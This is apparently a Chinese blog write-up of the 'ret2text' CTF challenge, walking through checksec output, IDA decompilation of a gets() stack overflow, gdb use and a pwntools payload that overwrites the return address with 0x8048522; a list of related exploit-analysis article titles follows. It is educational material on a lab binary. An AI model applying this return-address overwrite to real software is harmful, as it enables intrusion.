题目ret2text

题目信息确认

使用file命令查看文件类型

root@CTF:/home/# file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped

使用checksec查看是否有保护

root@CTF:/home/# checksec ret2text
[*] '/home/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

使用ida查看内容

int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}

setbuf(xxxx,0) 关闭缓冲区

进入vulnerable()查看

int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h] gets(buffer);
return 0;
}

创建了一个8个字节的缓存,但是gets函数允许向buffer输入无限的内容。造成缓冲区溢出漏洞

根据图



由ida中的注释 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道 这个buffer距离esp8个字符,距离ebp -16个字符(10h是16进制的10)

而ebp永远指向 stack frame pointer 。那么就需要溢出16个字节

动态调试

使用动态调试工具确认溢出长度

gdb xxx 进入调试魔术xxx是指需要动态调试的文件

run 直接运行(一般在run之前使用断点)

b *地址 或者 b main

使用 next 进行断点前进。可以观察一步步的运行结果

使用 s 进入某个具体的函数

或者使用 stack 24 查看24项stack

payload制作

使用 from pwn import * 导入所有pwn需要的工具

使用 io=process("./ret2text") 打开进程访问链接

覆盖数据

[ebp-10h] 一共16个字符。

覆盖 return 4个字符

修改返回地址使用p32(0x8048522)

组成数据 payload=b'a'16+b'1'4+p32(0x8048522)

使用 io.send(payload) 发送payload

使用 io.interactive 创建交互式会话接口

pwn之栈缓冲区溢出漏洞(入门)的更多相关文章

  1. cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析

    用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试    Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...

  2. CVE-2010-2883Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞分析

       Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器. 基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x ...

  3. 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞

    这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...

  4. Nagios Core/Icinga 基于栈的缓冲区溢出漏洞

    漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...

  5. [二进制漏洞]栈(Stack)溢出漏洞 Linux篇

    目录 [二进制漏洞]栈(Stack)溢出漏洞 Linux篇 前言 堆栈 堆栈(Stack)概念 堆栈数据存储方式 函数调用 函数调用C语言代码 函数调用过程GDB调试 函数Call返回原理 函数栈帧 ...

  6. SEED信息安全实验系列:缓冲区溢出漏洞实验

    缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情 ...

  7. CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析

    漏洞简述   Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件.        Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...

  8. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  9. TP-Link TL-WR841N v14 CVE-2019-17147 缓冲区溢出漏洞分析笔记v2018.12.31

    0x00 背景 Httpd服务中的缓冲区溢出漏洞 复现参考文章https://www.4hou.com/posts/gQG9 Binwalk -Me 解压缩 File ./bin/busybox文件类 ...

随机推荐

  1. 5.Topic与Partition

  2. 原子类的 ABA 问题

    原子引用 public class AtomicReferenceDemo { public static void main(String[] args) { User cuzz = new Use ...

  3. linux学习(二)认识Linux

    一.Linux系统的组成 linux内核(linus 团队管理) shell:用户与内核交互的接口 文件系统:ext3.ext4等.windows 有 fat32 .ntfs 第三方应用软件 二.Li ...

  4. java内存屏障

    为什么会有内存屏障 每个CPU都会有自己的缓存(有的甚至L1,L2,L3),缓存的目的就是为了提高性能,避免每次都要向内存取.但是这样的弊端也很明显:不能实时的和内存发生信息交换,分在不同CPU执行的 ...

  5. 使用TiDB把自己写分库分表方案推翻了

    背景 在日益数据量增长的情况下,影响数据库的读写性能,我们一般会有分库分表的方案和使用newSql方案,newSql如TIDB.那么为什么需要使用TiDB呢?有什么情况下才用TiDB呢?解决传统分库分 ...

  6. You must give at least one requirement to install (see "pip help install")

    语言: python why? install 后面没有参数,也就是说没有给想要安装的包 way? pip install 后面要跟想要安装的包名

  7. Python练习题 008:打印101-200之间的所有素数

    [Python练习题 008]判断101-200之间有多少个素数,并输出所有素数. ---------------------------------------------------------- ...

  8. 实验 3:Mininet 实验——测量路径的损耗率

    一.实验目的 在实验 2 的基础上进一步熟悉 Mininet 自定义拓扑脚本,以及与损耗率相关的设定;初步了解 Mininet 安装时自带的 POX 控制器脚本编写,测试路径损耗率. 二.实验任务 h ...

  9. 014 01 Android 零基础入门 01 Java基础语法 02 Java常量与变量 08 “字符型”字面值

    014 01 Android 零基础入门 01 Java基础语法 02 Java常量与变量 08 "字符型"字面值 字符型 字面值如何表示? 两个关键:单引号(必须是英文单引号). ...

  10. C# 中 System.Range 结构体

    翻译自 John Demetriou 2020年4月6日 的文章 <C# 8 Is Introducing Ranges> 我们之前讨论过的 C# 中的一个特性 System.Index ...